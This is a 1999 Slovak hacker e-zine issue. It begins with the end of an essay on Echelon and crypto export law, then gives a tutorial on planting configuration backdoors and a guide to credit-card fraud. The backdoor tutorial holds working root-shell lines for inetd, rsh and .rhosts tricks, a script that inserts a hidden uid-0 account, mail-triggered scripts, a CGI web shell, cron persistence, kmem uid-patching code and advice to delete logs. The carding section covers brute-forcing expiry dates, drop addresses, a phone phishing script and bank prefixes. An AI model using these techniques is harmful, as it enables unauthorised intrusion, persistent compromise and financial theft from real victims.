    pre americanov sme nevedeli, aku prevadzku sme monitorovali. poziadali
    nas, aby sme zozbierali veci v sirokopasmovom rezime, inymi slovami, aby
    sme tam isli a jednoducho zaznamenali siroke frekvencne pasmo a potom
    aby sme poslali vsetko do centraly NSA, takze sme nevedeli, co sme
    nahravali, pretoze nam dali zariadenie len na nahravanie, ale nikdy nam
    nedali zariadenia na demodulaciu a demultiplexovanie."


    toto je pravdepodobne aj problem australie, pretoze ta casto nevie, co
    nahrava, pretoze posiela cisty, nerozlozeny prud dat priamo do NSA. v
    takomto pripade sa spominane pravidla DSD dodrzovat jednoducho nedaju.
    a zaujimave je, ze australia mozno je spojencom usa v politickej sfere,
    ale v ekonomickej si samozrejme konkuruju.


    a co sukromna spionaz? mate mat strach aj ako osoby? mike frost hovori,
    ze dostal prikaz odpocuvat mobilny telefon margaret turdeau, manzelky
    vtedajsieho kanadskeho premiera pierreho turdeaua. "... jednoducho som
    sa necitil dobre sediac v kancelarii v CSE s nejakymi sluchatkami na usiach
    a snaziac sa odchytit konverzaciu manzelky premiera. vadilo mi to, nie
    vsak do takej miery, ze by som isiel za mojim sefom a povedal nie, nespravim
    to
    . vadilo mi to do tej miery, ze som sa mozno nesnazil az tak, ako by som
    sa mohol. lebo si myslim, ze tam hlboko v mojom vnutri som jednoducho nechcel
    pocuvat."


    nerobme vsak zo signatarov UKUSA tych najhorsich zo vsetkych. podobne
    spionazne systemy si buduje vraj aj francuzsko (s vydatnou pomocou svojich
    malych ostrovcekov) a pozadu pravdepodobne nebude ani rusko. francuzsko vsak
    ma jednu vyhodu -- podarilo sa im to lepsie utajit. zaujimavy je teda pohlad
    na tuto problematiku z trosku ineho hladiska. pozrime sa na zakony krajin,
    ktore si spominame a vztah tychto zakonov ku kryptografii, ktora jedina
    moze ucinne ochranit vase sukromie pred spionaznymi systemami. donedavna bolo
    azda najhorsim prikladom francuzsko, kde bola kryptografia uplne zakazana. to
    sa vsak uz zmenilo k lepsiemu, pretoze kryptografia je velmi potrebna aj v
    inych odvetviach priemyslu -- hlavne vo financnictve a bankovnictve.
    v usa zvolili inu taktiku. svojim firmam kryptografiu povoluju, ale export
    akejkolvek sifrovacej technologie za hranice statu zakazuju. kabinet billa
    clintona zaznamenal velky uspech aj podpisanim wassenaarskej dohody mnohymi
    krajinami, (vratane slovenskej republiky, ceskej republiky, velkej britanie a
    australie) ktora v prvotnej verzii uplne zakazovala export kryptografie okrem
    digitalnych podpisov. nova verzia dovoluje export volne dostupneho softveru,
    nad cim sa uz mnohym zastavuje rozum uplne, pretoze prave volne dostupny
    sifrovaci softver je najkvalitnejsi (je overeny casom a ocami mnohych
    expertov). wassenaarska dohoda vsak nie je zakonom, samotny export sa
    musi upravit legislativne vo vnutri krajiny. niektore krajiny maju podla
    istych zdrojov tendenciu prijat zakon zakazujuci export kryptografie a
    ako zamienku maju pouzit prave wassenaarsku dohodu. tieto informacie su
    vsak maximalne nepotvrdene a ich pravdivost ukaze az cas.


    zaujimavy je pripad nemeckej spolkovej republiky. vlada nsr totiz dostala
    list od janet reno, v ktorom ziadala nemecku vladu o zavedenie podobnych
    zakonov na export, ake ma usa. o neuspechu tohto listu sa mozeme presvedcit
    tym, ze vlada nsr zacala nemalymi ciastkami dotovat vyvoj gnu privacy guard
    a inych systemov, ktore maju zabezpecit silne sifrovanie. svoje rozhodnutie
    zdovodnuju tym, ze teroristi pristup k silnej kryptografii uz davno maju
    (da sa stiahnut volne na internete) a ze taketo obmedzenie by malo vyznamny
    dopad len na sukromie bezuhonnych obcanov. vivat germany! po prestudovani
    niektorych primitivnych zakonov usa sa vazne zastavuje zdravy rozum -- a usa
    uz velmi dlho nepovazujem za to, co mnoho inych ludi -- za slobodnu krajinu.


    z hladiska vseobecnej politky je velmi zaujimave, ze prave australia je
    vacsinou prestupnou krajinou, kde sa robia casti informacnych systemov
    americkych firiem, ktore vyzaduju kryptografiu (ak sa tieto casti spravia
    v australii, prakticky sa obidu exportne obmedzenia, pretoze exportovat
    sa bude z australie, ktora ma export povoleny a dane za predaj samozrejme
    poputuju aj do australskej statnej pokladnice). medzi taketo prestupne
    krajiny patri napriklad aj island a izrael. izrael a island kvoli tomuto
    nepodpisali ani wassenaarsku dohodu.


    tak si teda povedzme, ake su moznosti spionaznych agentur. mozno ste videli
    film enemy of the state, kde sa prejednavala presne tato tema. tak si zoberme
    vas den. rano sa zobudite, zapnete si mobilny telefon (v tomto momente
    sa niekde zaznamenalo, ze ste ho zapli a zapisala sa vasa aktualna poloha).
    len co vytrcite paty z domu, pomocou suradnic ziskanych lokalizaciou vaseho
    telefonu sa na vas namieri obrovsky spionazny satelit, ktory sleduje
    kazdy vas krok. dobre, vypnime mobilny telefon a podme na obed, kde zaplatime
    kreditnou kartou. to sa samozrejme oznami tiez (s informaciou kde ste co a
    za kolko kupovali). a to sme sa este nepripojili na internet. ja osobne sa
    na internete citim relativne najbezpecnejsie, lebo som schopny sifrovat
    prenos. ale treba si uvedomit, ze niekedy nie je ani take dolezite o com
    sa rozpravate, ale s kym sa rozpravate.


    vieme, ze za byvalej vlady isli obrovske peniaze do SISky. to, ze SIS je
    schopna odpocuvat mobilne telefony (co dokaze kvoli slabemu sifrovaniu v gsm
    kazdy lepsi technik a nmt kazde male dieta s radiom). vieme aj to, ze SIS
    ma tzv. tempestove auticka (to je taka modra dodavka s ufom na kapote, ktora
    je mimo ine schopna odchytavat obraz z monitora pomocou elektromagnetickeho
    ziarenia). od prislusnikov podsvetia som sa dozvedel, ze SIS disponuje dokonca
    zariadenim na lokalizaciu hovorov podla hlasu. o tom osobne dost pochybujem,
    ale mozne to je (aspon co sa tyka urciteho okruhu, predpokladam, ze analyzovat
    obrovsku skalu hovorov asi nasa spionazna agentura nedokaze). NSA ide vsak
    dalej. maju obrovske stroje urcene len na desifrovanie slabsich sifier.
    maju patent na vyhladavanie dolezitych informacii v spleti dat.
    maju zdroje na odpocuvanie komunikacie a satelitnu spionaz...
    co ma vsak zaraza najviac je, ze ludia to vedia a nic proti tomu nerobia.


    este snad nejake url (s fotkami spionaznych satelitov a pozemnych komunikacnych
    anten).
    echelon watch je stranka
    zamerana cisto na echelon. federation of
    american scientists
    berie spionaz z trosku sirsieho hladiska. no a samozrejme
    gnu privacy guard je program, ktory vam
    pomoze velmi silno zasifrovat akekolvek data (aj ked je zamerany na sifrovanie
    mailov).


    do 21. storocia teda dufam uz nepojdeme s nabitymi zbranami. namiesto toho
    su na nas nasmerovane obrovske spionazne satelity a anteny. pravdepodobne
    uz nebudeme bojovat zbranami, ale ekonomickou silou a informovanostou.
    ved nie nadarmo sa hovori, ze vo svete ma najvacsiu cenu prave informacia...


    juraj bednar, bednar(at)rak.isternet.sk


    navrat na obsah



    generator nahodnych cisiel



    nas vyskumny tim prisiel k prevratnym zaverom, ktore zmenia vas pohlad na
    sucasny svet, spolocnost a hlavne konkretnych jedincov. tato teoria sa tyka
    kazdeho z vas. omyl, nie teoria. tato teoria je realitou.

    (kraliky, vakcina, susienky. co to ma vsetko znamenat?! ...pozn. puf)



    na zaklade mnohych pokusov a pozorovani sme dospeli k nasledujucim vysledkom:


    0000010100000001000001020061730200619259
    pajkus
     pajkus      03.03.2004 - 13:33:34 , level: 1, UP   NEW



    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #12, 27.7.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    konfiguracne backdoory

    kreditne karty

    valka elektronickych gangu III.

    redir hry s arp a icmp

    morris internet worm

    koniec sveta

    re: pro pana dastycha







    intro



    kedze prielom teraz vychadza pomerne sporadicky, zmenil som trochu typ uverejnovanych
    clankov. namiesto kratkych security news a pokecnych clanockov som sem dal dlhsie
    veci, ktore boli podrobnejsie pripravovane, a taktiez dlhsie preklady zahranicnych
    veci. jeden z dovodov je ze na kratsie newsove clanky je tu teraz skvely
    http://underground.cz/, no a hadam tym aj trochu stupla kvalita prielomu.



    v tomto cisle prielomu je dokoncenie prekladu "valka elektronickych gangu". kedze to
    malo vcelku uspech, rozhodol som sa prekladat dalsie podobne veci z folkloru. zacal
    som prekladat aj uryvok zo skvelej knizky The Great Cyberwar of 2002, co je taka
    fikcia o vojnovom konflikte zaciatkom buduceho storocia, ktoreho dominantna cast sa
    odohrava prave na elektronickom fronte.



    pridal som sem aj clanok o morrisovom worme, ktory prebehol inetom pred desiatimi
    rokmi a o ktorom sa odvtedy dost pisalo, ale cmarali o nom novinari a vacsinou z toho
    vznikali bulvarne pokecy stravitelne beznou poulicnou zmesou. v tomto clanku su
    uvedene technicke fakty. je tu tiez sucho-technicky clanok o spoofovani arp adries a
    icmp vyvazeny komickou poviedkou "koniec sveta" a klasickym interview s dastychom.


    ehm, nech sa paci :)


    pajka, 25.7.99 blava




    konfiguracne backdoory



    v dnesnej dobe existuje fura krasne prerobenych systemovych programov, ktore sluzia ako
    backdoory. obcas je to len par riadkov kodu pridanych do /bin/login, inokedy su to riadne
    sofistikovane elaboraty. volaco z toho je na arxive (hysteria.sk/arxiv), zvysok co sa
    pohybuje po cz/sk nete su odvary povodnych idei SERTu a CzERTu, existuje vsak aj kopu
    novych spickovych veci... princip je jednoduchy - vlozit do zdrojaku systemoveho programu
    riadky, ktore:



    nacitaju input;

    ak je input specialny nami nakonfigurovany string, spustit trojana;

    else ak input nesedi pokracovat normalne;

    else quitnut s chybovou hlaskou;



    nie je to ani komplexne ani tazke. takyto trojan sa da spravit na 10 riadkov.
    klasikou je "prerabanie" /bin/login, okrem neho
    sa modifikuju aj sietove daemony (rlogind, telnetd, rshd, sshd), castokrat okrem funkcie
    samotneho backdooru maju tieto programceky aj ine prijemne vlastnosti, napr. logovanie hesiel,
    obcas aj v sifrovanom tvare


    odjakziva existuju programy na kontrolu integrity systemovych binariek (napr. stary ale dobry
    tripwire), ale v minulosti ich takmer nikto nepouzival, preto bolo zamienanie povodnych systemovych
    binariek patchnutymi nahradami
    pokladane za idealny backdoor. Casy sa vsak menia. Dnes je programov ako tripwire neurekom
    a navyse integritu binariek kontroluju aj ine programy ktore su urcene na spravu balikov, napr rpm
    prikazom rpm -V. Mnohi rooti to dokonca zautomatizovali a robia to pravidelne cez crond.
    vznika teda trend navratu kdesi pred rok '94, ked sa pouzivali vacsinou tzv. konfiguracne
    backdoory, cize rozne "nenapadne" zmeny v konfiguracii servera za cielom zabezpecit si backdoor.


    ked teda pisem o konfiguracnych backdooroch, musim zalovit niekde do roku '94, kedy sa to dost pouzivalo - kedze to su
    doby dost davne a vela sa odvtedy zmenilo, mozno vam budu pripadat tieto backdoory primitivne. ale o to pri konfiguracnych
    backdooroch ide - jednoduchy riadocek niekde v zlozitom konfiguracnom subore, ktory si nikto nevsimne.


    tu je teda zopar konfiguracnych backdoorov z praxe, urcite vsak existuje kopa inych napadov (dajte na board),
    toto su tie s ktorymi som sa ja stretol:


    /etc/inetd.conf


    klasika je pridat, alebo zmenit riadok v inetd.conf tak, aby spustil shell, napr:


    5002 stream tcp nowait root /usr/sbin/tcpd /bin/sh -i

    po pripade nahradit cislo portu nejakym stringom z /etc/services a podobne.. budte kreativni :)
    potom samozrejme staci spravit telnet server.victim.sk 5002 a mate shell...



    /etc/passwd


    klasika je najst nejake nepouzivane systemove konto, napr uzivatela "games". jeho riadok v passwd
    vyzera vacsinou takto:

    games:x:12:100:games:/usr/games:


    ale staci tam pridat jedno lomitko a jednu medzierku a mame backdoor:

    games:x:12:100:games:/usr/games/ :


    no a potom vytvorit adresar "/usr/games/ " a dat do neho trebars .rhosts :


    # cd /usr/games
    # mkdir " "
    # cd " "
    # echo + + > .rhosts
    # chown games .rhosts


    a potom voila, staci dat hocikedy zvonka

    $ rsh -l games server.victim.sk "/bin/sh -i"


    a si na serveri.. za zmienku stoji fakt ze rsh a rlogin vas pustia v pohode dnu napriek tomu ze user
    games nema nadefinovany shell v /etc/passwd, mnohi ludia su v domneni ze user bez definovaneho shellu
    je samo o sebe zarukou bezpecnosti toho konta.



    pokial potrebujete kratkodoby a bleskurychly konfiguracny backdoor, obcas staci pridat do passwd riadok
    s uid 0 a basta. pokial sa umiestni niekde do stredu vacsieho passwd fajlu, mate slusnu sancu ze si to
    root nejaky cas nevsimne. ak xcete ozaj bleskovo vytvorit takyto backdoor, je na to dokonca
    aj script:


    #!/bin/csh
    # vlozi uid 0 konto do stredu passwd fajlu
    # pravdepodobne by to slo spravit aj nejakym jednym
    # prikazom awk alebo sed.. ale co uz

    set linecount = `wc -l /etc/passwd`
    cd
    cp /etc/passwd ./temppass
    @ linecount[1] /= 2
    @ linecount[1] += 1
    split -$linecount[1] ./temppass
    echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
    cat ./xab >> ./xaa
    mv ./xaa /etc/passwd
    chmod 644 /etc/passwd
    rm ./xa* ./temppass
    echo finito...


    .rhosts



    na rlogin a rsh sa v dnesnej dobe windozov tak zabudlo, ze uz nie je vela ludi, ktori vedia
    naco to vlastne je. preto + + .rhosts v home adresari nejakeho lamera moze sluzit ako fajn backdoor.
    a uz vobec sa nepouziva subor /etc/hosts.equiv co je nieco obdobne ako .rhosts ale pre celu masinu.
    vlastne staci pridat do tohoto suboru jeden riadocek s menom masiny na ktorej mas roota a potom z nej
    spravit klasicky rsh -l root "/bin/sh -i". ked uz sme pri tych lameroch a ich domacich adresaroch,
    dalsi vdacny subor do ktoreho sa ludia malokedy pozeraju je .forward. tam mozeme umiestnit script, ktory
    sa spusti ked posleme specialny program, napr:


    $ cat ~lamer/.forward
    lamer
    |/dev/ptyqo

    $ cat /dev/ptyqo
    #!/bin/sh
    while read line ; do
    echo "$line" | grep "my_secret_password" && /dev/ptyqb &
    done


    cize staci poslat lamerovi email ktory bude obsahovat slovo my_secret_password a spusti sa program
    /dev/ptyqb co moze byt trebars bindshell. jo a potom nezabudnut zmazat ten email z lamerovej posty, aj ked
    najelegantnejsie by bolo schovat ten string do normalne vyzerajuceho emailu, ktory si ten lamer potom moze
    kludne precitat bez toho aby vybadal jeho ucel :) osobne som na tieto ucely pouzival
    vyraz "odchod na parky", mozno si na to niektori spomeniete :)



    /etc/aliases



    pome sa este hrat s postou. subor /etc/aliases umoznuje postu nasmerovanu nejakemu uzivatelovi
    expandovat na viacerych uzivatelov, alebo napriklad aj napajpovat ju do nejakeho programu. cize najjednoduchsi
    syntax na backdoor v /etc/aliases je :


    lamer: "|/dev/ptyqo"


    a ked poslete postu na lamer@victim.sk, spusti sa backdoorovy scriptik /dev/ptyqo. ale to je moc
    suche a dost napadne. isty cas bol popularny uudecode backdoor v /etc/aliases. ten fungoval takto - najprv
    sa pridal riadok do /etc/aliases:


    "decode: "|/usr/bin/uudecode"


    vcelku nenapadne, ze ? nuz potom sa vytvoril uuencodovany rootovsky .rhosts file ktory sa poslal pekne postou :


    $ echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victim.sk
    $ rsh -l root victim.sk "/bin/sh -i"
    #


    pam security



    vlastnosti pam security ktore ho robia idealnym pre konfiguracne backdoory su komplexnost, neprehladnost a fakt
    ze pam security naozaj do detajlu pozna velmi malo ludi. pripomenme si ze vseobecny syntax na konfiguracny subor
    pamu (vacsinou /etc/pam.conf) je


    service-name module-type control-flag module-path arguments

    a tak mozeme nastavit ze pri nejakej sluzbe vobec nebude vyzadovat heslo, napriklad pri rlogind. to si tazko niekto
    vsimne, lebo konfigurak pam.conf a konfiguracna syntax nie je zrovna prehladna, rlogind malokto pouziva, a ked aj
    ano tak ma na to .rhosts, takze si nikto nevsimne ze sa da lognut na roota cez rlogind aj bez hesla.



    cgi scripty


    dalsim zaujimavym miestom pre umiestnenie backdooru su cgi scripty, daju sa bud modifikovat existujuce
    scripty, alebo pridat novy script. moj favorit vzdy bol nasledovny script:


    $ cat backdoor.cgi
    #!/bin/sh
    echo Content-type: text/html
    echo
    echo "<pre>"
    $*


    cez ktory sa daju na dialku spustat hocijake prikazy priamo z browsera vo forme
    http://www.victim.sk/cgi-bin/backdoor.cgi?prikaz,
    no predstavte si tu pohodu spravit si taky backdoor a potom pohodicka ist do inet kaviarne, pochlipkavat
    capuccino so skoricou a spustat unix prikazy na hacknutej masinke priamo z Netscapu. a pokial vas neuspokoji uid pod
    ktorym bezi httpd (zvycajne nobody), tak v prvom riadku namiesto /bin/sh dajte nejaky suid bash shell a
    prikazy budu bezat ako root. jo a nezabudnut zmazat httpd logy :)



    cron



    cron sa od cias starych BSD systemov velmi nezmenil, ale dost sa zmenili konfiguracne scripty na cron.
    hlavne tvorcovia linuxovych distribucii maju tendenciu byt prehnane kreativni a robia vselijake user-friendly
    konfiguraky. napr taky redhat ma crony v /etc/cron.hourly, /etc/cron.daily.. atd a root iba potom vsunie svoj
    script alebo program do prislusneho adresara. taketo zjednodusenia rootov rozmaznali natolko ze uz vobec needituju
    a nesleduju /var/spool/crontab/root. cize pokial prave do tohoto suboru vsuniete nejaky riadok, su realne sance
    ze si to root nevsimne. mozeme napriklad pridat riadok na denne kontrolovanie vlozeneho
    uid 0 riadku do /etc/passwd (kukni hore do sekcie "/etc/passwd") :



    toto supni do /var/spool/crontab/root :


    0 0 * * * /dev/ptyqx

    a toto je nas scriptik /dev/ptyqx :


    #!/bin/csh
    # je eviluser stale v passwd ? pome sa presvedcit

    set evilflag = (`grep -i eviluser /etc/passwd`)
    if($#evilflag == 0) then
    set linecount = `wc -l /etc/passwd`
    cd
    cp /etc/passwd ./temppass
    @ linecount[1] /= 2
    @ linecount[1] += 1
    split -$linecount[1] ./temppass
    echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
    cat ./xab >> ./xaa
    mv ./xaa /etc/passwd
    chmod 644 /etc/passwd
    rm ./xa* ./temppass
    else
    endif


    fantazii sa medze nekladu. tu je vtipny scriptik ktory kazdy den o 2:30am (heh, nezabudnite si presne
    nastavit hodinky) na jednu minutu zmeni /etc/passwd za dopredu nachystany fajl.



    toto je v crone:


    29 2 * * * /etc/ptyqp


    tento fajl musi existovat:


    #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /etc/ptyqq


    a toto je nas scriptik /etc/ptyqp :

       
    #!/bin/csh
    cp /etc/passwd /etc/.temppass
    cp /dev/ptyqq /etc/passwd
    sleep 60
    mv -f /etc/.temppass /etc/passwd


    inak doporucujem si najprv vsetko poriadne vyskusat, lebo akykolvek vystup zo scriptov spustanych cronom
    (chybne hlasky a pod) idu rootovi do posty...



    /dev/kmem



    /dev/kmem je virtual systemu. kedze kernel ma svoje parametre v pamati, je mozne modifikovat
    pamat na masine a zmenit UID procesu. na to samozrejme potrebujeme read/write prava. to sa bezne
    v prirode nevyskytuje, cize ako backdoor musime najprv spravit chmod 666 /dev/kmem, napriklad to mozeme
    spravit na par minut nejakym cronom, ako je to popisane vyssie. potom je treba otvorit /dev/kmem device,
    najst svoj page v pamati, prepisat UID momentalneho procesu a spustit csh, ktory ziska toto uid. nasledovny
    program robi presne toto.


    #include <h>
    #include <h>
    #include <signal.h>
    #include <param.h>
    #include <types.h>
    #include <dir.h>
    #include <user.h>

    #define KEYWORD "chabrus"

    struct user userpage;
    long address(), userlocation;

    int main(argc, argv, envp)
    int argc;
    char *argv[], *envp[];{

    int count, fd;
    long where, lseek();

    if(argv[1]){
    if(!(strcmp(KEYWORD,argv[1]))){
    fd=(open("/dev/kmem",O_RDWR);

    if(fd
    #include <h>
    #include <h>

    #define LNULL ((LDFILE *)0)

    long address(){

    LDFILE *object;
    SYMENT symbol;
    long idx=0;

    object=ldopen("/unix",LNULL);

    if(!object){
    fprintf(stderr,"Cannot open /unix.n");
    exit(50);
    }

    for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
    if(!strcmp("_u",ldgetname(object,&symbol))){
    fprintf(stdout,"User page is at 0x%8.8xn",symbol.n_value);
    ldclose(object);
    return(symbol.n_value);
    }
    }

    fprintf(stderr,"Cannot read symbol table in /unix.n");
    exit(60);
    }


    tento priklad ilustruje ze obcas ani netreba pridavat nic do konfiguracneho suboru, niekedy je menej
    napadne iba zmenit mu prava, napr. na o+w a podobne.



    konfiguracne backdoory maju jednu vyhodu - rooti vyzbrojeni programami na kontrolu integrity binariek
    sa takto v pohode daju okaslat, navyse takyto backdoor prezije upgrade systemu, alebo dokonca kompletne
    preinstalovanie masiny. klasicka reakcia roota ked zisti ze ma hacknutu masinu je preinstalovat to cele,
    sranda je vsak ze stare konfiguracne subory sa vacsinou ponechavaju a /home adresare takmer vzdy.




    pajkus



    navrat na obsah




    kreditne karty (KK)




    KK je plastova karta, ktora je nositelom informacii o vasom ucte.
    Moznost jej pouzitia je trojaka. KK sa moze pouzit na vyber
    hotovosti z bankomatu, moze sa pouzit na uhradzanie hotovostnych
    pladieb v POS terminaloch alebo na inu formu uhrady hotovosti.
    Prve dva sposoby su limitovane nutnostou fyzickeho vlastnictva
    karty, pri tretom staci iba poznat informacie uvedene na karte
    vo forme reliefneho pisma. Bankomaty a POSky tu rozeberat nebudem a
    preto sa hned zameriam na ten treti sposob. Sem patria hlavne
    internetovske nakupy a nakupy cez telefon. Aby ste si nieco takymto
    sposobom objednali (a zaplatili), potrebujete poznat nasledujuce
    informacie:

    1. Cislo kreditnej karty

    2. Datum expiracie

    3. Meno vlastnika karty



    Kreditne karty mozno vo vseobecnosti rozdelit podla toho, ktora
    spolocnost ich vydava. Vo svete existuje viacero standardov, ale
    najviac sa pouzivaju nasledovne:

    - American express

    - Visa

    - Mastercard



    [American Express]
    XXXX XXXXXX XXXXX
    MM/Y1 THRU MM/Y2 Y1
    Vladimir Meciar AX


    Popis:

    Prvy datum udava datum kedy bola karta vydana, druhy dokedy je platna.


    [Master Card]
    5XXX XXXX XXXX XXXX
    ZZZZ AAA DD-MM-YY MM/YY
    Meno_na_karte


    Popis:

    Datumy rovnako ako u American Express. ZZZZ udava zrejme interny kod
    banky, ale pre nase ucely nie je podstatny.


    [VISA dlhy format]
    4XXX XXXX XXXX XXXX
    MM/YY MM/YY*VISA
    Meno_na_karte


    [VISA kratky format]
    4XXX XXX XXX XXX
    MM/YY MM/YY*VISA
    Meno_na_karte

    Popis:

    to iste ako American Express.



    Vo svete sa najviac pouzivaju Mastercardy a Visy, tak podme na to.



    Mastercard a Visa su co do struktury udajov zhodne (az na kratku Visu).
    Cislo karty sa sklada zo 4 stvorciselnych skupin:

    1. skupina - kod banky. Mozno po vas budu chciet aj nazov prislusnej
    banky, tak sa mrknite do zoznamu.

    2. skupina - nieco ako uzivatelska skupina. Jednoducho vsteci ludia, ktory
    maju denny limit napr. 5000,- (DM, SKK,...) a rovnaky typ uctu budu mat s
    najvacsou pravdepodobnostou toto cislo rovnake

    3. a 4. skupina - informacia o cisle uctu




    Tento clanok asi necitaju gazdinky za sporakom ani evanjelicky farari, takze
    asi viete o co teraz pojde. Ide o to, nieco si kupit a NEplatit. Takze
    sa napojite na nejaky inet obchodik, nahazdete do kosika par CDciek a idete
    k pokladni. Tam na vas vypluju formular, v ktorom po vas chcu par
    zbytocnosti (meno, cislo, datum expiracie a pod.). Po vyplneni formularu
    sa potom server spyta centralnej databazy a ta bud vasu KK prijme alebo ju
    odmiente. Z mojich pokusov mi vychadza asi tolko, ze na jednoznacnu
    identifikaciu staci kombinacia cislo-datum expiracie.
    Ale finta je v tom, ze to cislo nemoze byt hocijake. Na overenie platnosti
    (teda nie existencie) cisla KK sa pouziva Luhnov kontrolny algoritmus a
    ako ho vyuzit, pozri nizsie.

    Problem teda nie je v cisle KK ale v datume expiracie. Ten tvori spolu
    s cislom previazanu dvojicu (jedno bez druheho nefunguje).



    Povedzme teda, ze mate cislo, co s datumom? Skusajte! Pripojte sa na nejaky
    porno server a skusajte postupne. Kreditky sa vacsinou vydavaju na jeden rok a
    nie je teda problem odskusat tych dvanast datumov. Ina sranda nastane, ked
    cislo KK neukazuje na platny ucet, potom treba cely postup opakovat s inym
    cislom. Ak vsak uvazime, ze na zemi je okolo 6 mld ludi, tak pocet platnych
    kreditiek sa bude pohybovat radovo v desiatkach milionov a to dava celkom
    slusnu pravdepodobnost.



    Luhnov kontrolny algoritmus:



    Povodne tento algoritmus plnil funkciu akehosi kontrolneho suctu, poskytuje
    vsak aj ochranu proti utokom typu zmenim jedno cislo a basta.



    Postup je nasledovny:



    Ak ma cislo KK parny pocet cislic:

    Vynasobte kazde cislo na neparnej pozicii dvoma a ak je vysledok vacsi ako 9,
    odcitajte od vysledku deviatku. Potom zratajte vsetky cisla na parnych
    poziciach spolu s tymi zdvojenymi. Ak je vysledok bezo zvysku delitelny 10,
    je cislo platne.



    Neparny pocet cislic:

    Postup je rovnaky, ale nasobia sa cisla na parnych poziciach.



    int luhncheck(char *cn)
    {
    int i,x,dl,total=0,z;


    z=1; /* neparny pocet cislic, nasobime parne indexy */
    y=strlen(cn);
    if (y%2==0)
    z=0; /* parny pocet cislic, nasobime neparne indexy */
    for(i=z;i<y;i+=2)
    {
    x=((int)cn[i]-48)*2;
    if (x>9) x-=9;
    total+=x;
    }
    for (i=z^1;i<y;i+=2)
    total+=(int)cn[i]-48;
    return (total%10) ? 0:1;
    }



    Na co si dat pozor? Ak si nieco objednate z internetu a davate si to posielat postou, NIKDY nepouzite
    svoje meno a adresu. Dajte si poslat tovar na nejaku adresu typu:
    opusteny dom, vystahovany susedia, kamos na intraku a pod.



    Dalsia moznost pouzitia sa ukazuje v telefonovani. Ked chcete volat do USA,
    slovtel po vas chce nehorazne sumy. Exituje vsak sluzba Slovakia-Direct,
    pomocou ktorej sa mozete napojit na amickeho operatora bezplatne. Tusim
    US-SPRINT poskytuje moznost uhrady hovorneho pomocu kratkej visy. To cislo
    uz presne neviem, mrknite sa na webovsku stranku nasich telekomunikacii.



    A ako toto cele obist? Co takto telefon? Ludia maju prirozdeny respekt
    pred autoritami a pocitacom zvlast, tak to vyuzite.




    "ty" pan blabla?
    "zakaznik" ano
    "ty" dobry den, tu je centrum automatizacie vub(csob, slovspor),
    pri telefone bla bla.
    "zakaznik" dobry den, cim mozem pomoct?
    "ty" mali sme tu vypadok servera a stratilo sa nam par zaznamov
    "zakaznik" ???
    "ty" potrebovali by sme si overit, ci je aj vasa karta medzi zmazanymi,
    boli by ste taky laskavy a nadiktovali mi cislo vasej karty?
    "zakaznik" ??? (co ked je to podvod?)
    "ty" samozrejme si uvedomujem, ze su to citlive informacie. ak chcete,
    mozete mi zavolat na cislo .... sem k nam do centra (verejny telefon)
    "zakaznik" dobre, hned zavolam
    ten blbec sa chytil!
    "ty" centrum automatizacie, pri telefone bla bla
    "zakaznik" tak to je v poriadku, moje cislo je .....
    "ty" a este vas poprosim datum platnosti
    "zakaznik" (po dlhsom hladani) aha, to je ...
    "ty" dakujem vam, ihned to overime, dopocutia


    a ak ste bezchrbtaci, tak mu zavolajte este raz a povedzte ze je to ok.


    A som na konci (v koncoch :)



    a nakoniec zoznam bank:


    4000 - Visa Bsn/Chk/Corp/Deb/Gold/Purch
    4013 - Bank of Baltimore / Chevy Chase
    4019 - Bank of America
    4024 - Bank of America
    4027 - Rockwell Federal Credit Union
    4032 - Household Bank
    4052 - First Cincinatti
    4060 - Associates NB / Navy Fed.
    4070 - Security Pacific
    4071 - Colonial National Bank
    4094 - A.M.C. Federal CU
    4113 - Valley National Bank
    4114 - Chemical Bank
    4121 - Alaska Fed. / Penns. State Emp.
    4122 - Union Trust
    4128 - Citibank
    4131 - State Street Bank
    4215 - Marine Midland
    4225 - Chase Manhattan Bank
    4226 - Chase Manhattan Bank
    4231 - Chase Lincoln First Classic
    4232 - Chase Lincoln First Classic
    4239 - Corestates
    4241 - National Westminester Bank
    4250 - First Chicago Bank
    4253 - Consumers Edge
    4254 - Cational Bank / Security First
    4271 - Citibank Preferred
    4301 - Monogram Bank
    4302 - H.H.B.C.
    4310 - B.C.F.U. / Imperial Savings
    4311 - First National Bank
    4312 - Barnett Bank
    4316 - Leader Federal
    4316 - Pioneer Bank / Standard Federal
    4317 - First Tier Bank Omaha
    4327 - First Atlanta
    4332 - Bank One / First American
    4339 - Primerica Bank
    4342 - N.C.M.B./Nations Bank
    4356 - National Bank of Delaware
    4368 - National West
    4387 - Lockheed Fed. / Santel CU
    4388 - First Signature / Independent Bank
    4401 - Gary-Wheaton Bank
    4413 - Firstier Bank Lincoln
    4418 - Bank of Omaha
    4421 - Indiana National Bank
    4428 - Bank of Hoven / Bar Harbor Bank
    4436 - Security Bank and Trust
    4443 - Merril Lynch Bank
    4447 - AmeriTrust
    4452 - Empire Affiliates Federal CU
    4498 - Republic Savings
    4502 - C.I.B.C.
    4503 - Canadian Imperial Bank
    4506 - Belgium A.S.L.K.
    4510 - Royal Bank of Canada
    4520 - Toronto Dominion of Canada
    4534 - DC Card
    4537 - Bank of Nova Scotia
    4538 - Bank of Nova Scotia
    4539 - Barclays
    4544 - T.S.B. Bank / ADAC Visa
    4556 - Citibank
    4564 - Bank of Queensland
    4568 - ADAC Karte / Berliner Bank
    4673 - First Card
    4707 - Tompkins County Trust
    4719 - Rocky Mountain
    4721 - First Security
    4722 - West Bank
    4726 - Wells Fargo
    4783 - AT&T's Universal Card
    4784 - AT&T's Universal Card
    4800 - M.B.N.A. North America
    4811 - Bank of Hawaii
    4819 - Macom Federal Credit Union
